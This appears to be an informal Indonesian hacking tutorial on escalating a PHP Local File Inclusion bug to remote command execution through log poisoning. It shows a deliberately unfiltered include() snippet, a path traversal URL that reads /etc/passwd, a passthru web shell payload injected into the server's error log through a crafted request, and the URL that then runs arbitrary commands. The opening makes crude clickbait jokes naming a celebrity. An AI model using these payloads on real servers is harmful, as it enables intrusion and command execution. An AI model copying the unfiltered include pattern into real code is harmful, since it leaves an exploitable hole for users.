Kali ini posting aq serius gak akan ada kata bugil , gadis telanjang , foto artis bugil , foto
dewi persik bugil, dll ( padahal tetep ada tuh ;p )
//
chapter 1 --- LOgs ANd LFIok , file log sendiri merupakan file yang berisi mengenai aktifitas2 komputer dan aktifitas yang
dilakukan di server , blah apa iki maksudnye begini - begini singkat kata file logs adalah file
yang berisi tentang aktifitas/Kegiatan di komputer(server).
Jd semua akses yang dilakukan kita akan di catat di file ini
Local File inclusion(LFI) sendiri dapat di artikan sebagai penyisipan file yang ada di local
//chapter 2 --- The Bug (LFI Concept)
contoh code yang terkena LFI
< ?php
$page = $_GET[page];
include($page);
? >
pada kode ini terlihat jelas variable Page tidak terfilter , dengan modifikasi url seperti
dibawah seorang penyerang dapat meload dan mengesekusi file tsb
http://Injek.injekkan.com/index.php?page=../../../../../../../etc/passwd
dan hasilnya akan terlihat isi dari file /etc/passwd
//chapter 3 --- fuck'n file logs
seperti yang sudah aq kasih tau diatas bahwa file logs mencatat semua aktifitas yang ada diserver , termasuk url yang sudah di modifikasi :) .
yah dengan memasukan <? passthru($_GET[cmd]) ?> pada url aq bisa menjalankan perintah pada server.
kenapa ?????? ingat file log akan mencatat semua aktifitas di dalam server,
- manipulasi url menjadi --> http://Injek.injekkan.com/<? passthru($_GET[cmd]) ?>
- file <? passthru($_GET[cmd]) ?> tidak terdapat di server , dan webserver akan mencatat di file log ( biasanya error_log )
- get your shellllllllllllllllll ............... in http://Injek.injekkan.com/../../../../../../../etc/httpd/logs/error_log?cmd=your_command_shell .....
secara default file log tersimpan disini
